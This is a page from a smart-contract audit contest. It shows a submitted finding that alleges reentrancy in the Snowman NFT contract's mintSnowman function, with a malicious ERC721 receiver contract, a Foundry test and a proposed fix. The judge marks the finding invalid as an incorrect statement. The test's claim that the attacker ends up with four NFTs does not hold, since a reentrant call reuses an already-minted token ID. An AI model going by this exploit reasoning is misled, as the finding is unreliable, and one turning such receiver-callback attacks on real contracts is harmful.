Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Reentrancy Vulnerability in `mintSnowman`

[S-11] Reentrancy Vulnerability in mintSnowman

Description

The mintSnowman function is designed to mint NFTs to recipients. The function should follow the Checks-Effects-Interactions pattern to prevent reentrancy attacks.

However, the function updates the state variable s_TokenCounter after external calls to _safeMint. The _safeMint function calls onERC721Received on the recipient if it's a contract, allowing for reentrancy attacks.

// Snowman.sol - Lines 36-44
function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
@>_safeMint(receiver, s_TokenCounter); // External call
emit SnowmanMinted(receiver, s_TokenCounter);
@>s_TokenCounter++; // State updated after external call
}
}

Risk

Likelihood:

  • The receiver can be a contract that implements IERC721Receiver

  • When _safeMint is called, it triggers onERC721Received on the receiver

  • A malicious contract can reenter mintSnowman during the callback

  • This is especially dangerous since there's no access control (see S-1)

Impact:

  • A malicious contract can reenter mintSnowman before s_TokenCounter is updated

  • The attacker can receive NFTs with unexpected token IDs

  • Can potentially mint more NFTs than intended

  • State corruption of the token counter

Proof of Concept

contract MaliciousReceiver is IERC721Receiver {
Snowman public snowman;
uint256 public reentryCount;
constructor(address _snowman) {
snowman = Snowman(_snowman);
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external override returns (bytes4) {
if (reentryCount < 3) {
reentryCount++;
snowman.mintSnowman(address(this), 1);
}
return IERC721Receiver.onERC721Received.selector;
}
}
function test_ReentrancyInMintSnowman() public {
Snowman snowman = new Snowman("testUri");
MaliciousReceiver attacker = new MaliciousReceiver(address(snowman));
// Attacker mints 1 NFT, but reenters 3 times
snowman.mintSnowman(address(attacker), 1);
// Verify: Attacker received 4 NFTs instead of 1
assertEq(snowman.balanceOf(address(attacker)), 4);
}

Recommended Mitigation

function mintSnowman(address receiver, uint256 amount) external {
+ uint256 currentCounter = s_TokenCounter;
+ s_TokenCounter += amount; // Update state first
+
for (uint256 i = 0; i < amount; i++) {
- _safeMint(receiver, s_TokenCounter);
- emit SnowmanMinted(receiver, s_TokenCounter);
- s_TokenCounter++;
+ _safeMint(receiver, currentCounter);
+ emit SnowmanMinted(receiver, currentCounter);
+ currentCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!